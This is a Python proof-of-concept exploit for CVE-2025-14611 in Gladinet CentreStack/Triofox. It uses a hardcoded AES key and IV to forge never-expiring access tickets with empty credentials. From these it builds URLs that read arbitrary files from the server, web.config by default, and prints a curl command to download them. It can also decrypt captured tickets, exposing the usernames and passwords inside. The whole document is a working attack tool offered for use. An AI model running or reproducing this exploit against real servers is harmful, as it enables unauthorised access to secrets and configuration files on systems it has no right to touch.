#!/usr/bin/env python3 """ CVE-2025-14611 Proof of Concept """ from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 import sys import argparse AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c') AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389') def decrypt_ticket(encrypted_ticket): try: encrypted_ticket = encrypted_ticket.replace('%7C', '|').replace('%2F', '/') b64_standard = encrypted_ticket.replace(':', '+').replace('|', '/') ciphertext = base64.b64decode(b64_standard) cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, AES.block_size) return plaintext.decode('utf-8', errors='ignore'), None except Exception as e: return None, str(e) def encrypt_ticket(filepath, username="", password="", timestamp="9999-11-27 14:52:04.009217"): ticket_content = f"{filepath}\n{username}\n{password}\n{timestamp}" cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV) plaintext_bytes = ticket_content.encode('utf-8') padded = pad(plaintext_bytes, AES.block_size) ciphertext = cipher.encrypt(padded) b64_encoded = base64.b64encode(ciphertext).decode('ascii') url_safe = b64_encoded.replace('+', ':').replace('/', '|') return url_safe def main(): parser = argparse.ArgumentParser( description='CVE-2025-14611 PoC - Gladinet CentreStack/Triofox Arbitrary File Read', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Encrypt - Generate exploit URL %(prog)s encrypt [options] %(prog)s encrypt 192.168.1.100 %(prog)s encrypt centrestack.com -f "C:\\Windows\\win.ini" -p 8080 --https # Decrypt - Analyze existing ticket %(prog)s decrypt %(prog)s decrypt "vghpI7EToZUDIZDdprSub..." ''' ) subparsers = parser.add_subparsers(dest='command', help='Command to execute') encrypt_parser = subparsers.add_parser('encrypt', help='Generate encrypted ticket and exploit URL') encrypt_parser.add_argument('target', help='Target host (e.g., 192.168.1.100 or centrestack.com)') encrypt_parser.add_argument('-f', '--file', default=r'C:\Program Files\Gladinet Cloud Enterprise\root\web.config', help='Target file path (default: web.config)') encrypt_parser.add_argument('-u', '--username', default='', help='Username (default: empty for bypass)') encrypt_parser.add_argument('-p', '--password', default='', help='Password (default: empty for bypass)') encrypt_parser.add_argument('-t', '--timestamp', default='9999-11-27 14:52:04.009217', help='Timestamp (default: year 9999 for never-expiring)') encrypt_parser.add_argument('--port', type=int, help='Port number') encrypt_parser.add_argument('--https', action='store_true', help='Use HTTPS instead of HTTP') decrypt_parser = subparsers.add_parser('decrypt', help='Decrypt existing ticket') decrypt_parser.add_argument('ticket', help='Encrypted ticket string') args = parser.parse_args() if not args.command: parser.print_help() sys.exit(1) if args.command == 'encrypt': ticket = encrypt_ticket(args.file, args.username, args.password, args.timestamp) protocol = "https" if args.https else "http" if args.port: base_url = f"{protocol}://{args.target}:{args.port}" else: base_url = f"{protocol}://{args.target}" exploit_url = f"{base_url}/storage/filesvr.dn?t={ticket}" print(f"Target: {args.target}") print(f"File: {args.file}") print() print("Encrypted ticket:") print(ticket) print() print("Exploit URL:") print(exploit_url) print() print("Test with:") print(f" curl -k '{exploit_url}' -o output.txt") elif args.command == 'decrypt': decrypted, error = decrypt_ticket(args.ticket) if decrypted: lines = decrypted.split('\n') print("Decrypted ticket:") print("-" * 60) print(f"Filepath: {lines[0] if len(lines) > 0 else 'N/A'}") print(f"Username: {lines[1] if len(lines) > 1 else 'N/A'}") print(f"Password: {lines[2] if len(lines) > 2 else 'N/A'}") print(f"Timestamp: {lines[3] if len(lines) > 3 else 'N/A'}") print("-" * 60) else: print(f"Decryption failed: {error}") sys.exit(1) if __name__ == "__main__": main()